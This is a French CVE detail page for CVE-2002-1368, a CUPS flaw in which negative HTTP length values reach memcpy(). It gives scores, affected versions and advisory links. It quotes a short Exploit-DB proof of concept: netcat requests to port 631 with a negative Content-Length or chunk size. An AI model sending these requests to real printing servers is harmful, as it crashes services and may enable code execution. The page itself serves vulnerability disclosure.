CVE-2002-1368 : Détail

CVE-2002-1368

26.75%V4
Network
2002-12-20
04h00 +00:00
2017-07-10
12h57 +00:00
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Descriptions du CVE

Common Unix Printing System (CUPS) 1.1.14 through 1.1.17 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code by causing negative arguments to be fed into memcpy() calls via HTTP requests with (1) a negative Content-Length value or (2) a negative length in a chunked transfer encoding.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 22106

Date de publication : 2002-12-18 23h00 +00:00
Auteur : iDefense
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/6437/info A vulnerability has been reported for CUPS that if exploited may result in a DoS or the execute of code on affected systems. An attacker can exploit this vulnerability by connecting to a vulnerable system and issuing malformed HTTP headers with a negative value for some fields. When the cupsd service receives this request, it will crash. This vulnerability is very similar to the issue described in BID 5033. It may be very likely that this vulnerability may be exploited to execute malicious attacker-supplied code on BSD, and possibly other, platforms. *** January 05, 2003 There are reports of this vulnerability being actively exploited in the wild. Vulnerable users are advised to update immediately. $ nc -v localhost 631 localhost [127.0.0.1] 631 (?) open POST /printers HTTP/1.1 Host: localhost Authorization: Basic AAA Content-Length: -1 $ nc -v localhost 631 localhost [127.0.0.1] 631 (?) open POST /printers HTTP/1.1 Host: localhost Authorization: Basic AAA Transfer-Encoding: chunked - - - - -FFFFFFFE

Products Mentioned

Configuraton 0

Easy_software_products>>Cups >> Version 1.0.4

    Easy_software_products>>Cups >> Version 1.0.4_8

      Easy_software_products>>Cups >> Version 1.1.1

        Easy_software_products>>Cups >> Version 1.1.4

          Easy_software_products>>Cups >> Version 1.1.4_2

            Easy_software_products>>Cups >> Version 1.1.4_3

              Easy_software_products>>Cups >> Version 1.1.4_5

                Easy_software_products>>Cups >> Version 1.1.6

                  Easy_software_products>>Cups >> Version 1.1.7

                    Easy_software_products>>Cups >> Version 1.1.10

                      Easy_software_products>>Cups >> Version 1.1.13

                        Easy_software_products>>Cups >> Version 1.1.14

                          Easy_software_products>>Cups >> Version 1.1.17

                            Configuraton 0

                            Apple>>Mac_os_x >> Version 10.2

                            Apple>>Mac_os_x >> Version 10.2.2

                            Références

                            http://secunia.com/advisories/7858
                            Tags : third-party-advisory, x_refsource_SECUNIA
                            http://secunia.com/advisories/7843
                            Tags : third-party-advisory, x_refsource_SECUNIA
                            http://secunia.com/advisories/9325/
                            Tags : third-party-advisory, x_refsource_SECUNIA
                            http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000702
                            Tags : vendor-advisory, x_refsource_CONECTIVA
                            ftp://ftp.sco.com/pub/security/OpenLinux/CSSA-2003-004.0.txt
                            Tags : vendor-advisory, x_refsource_CALDERA
                            http://secunia.com/advisories/7756/
                            Tags : third-party-advisory, x_refsource_SECUNIA
                            http://secunia.com/advisories/7907
                            Tags : third-party-advisory, x_refsource_SECUNIA
                            http://www.mandriva.com/security/advisories?name=MDKSA-2003:001
                            Tags : vendor-advisory, x_refsource_MANDRAKE
                            http://secunia.com/advisories/7913/
                            Tags : third-party-advisory, x_refsource_SECUNIA
                            http://secunia.com/advisories/7794
                            Tags : third-party-advisory, x_refsource_SECUNIA
                            http://www.debian.org/security/2003/dsa-232
                            Tags : vendor-advisory, x_refsource_DEBIAN
                            http://www.redhat.com/support/errata/RHSA-2002-295.html
                            Tags : vendor-advisory, x_refsource_REDHAT
                            http://www.securityfocus.com/bid/6437
                            Tags : vdb-entry, x_refsource_BID
                            http://secunia.com/advisories/7803
                            Tags : third-party-advisory, x_refsource_SECUNIA
                            http://secunia.com/advisories/8080/
                            Tags : third-party-advisory, x_refsource_SECUNIA
                            http://marc.info/?l=bugtraq&m=104032149026670&w=2
                            Tags : mailing-list, x_refsource_BUGTRAQ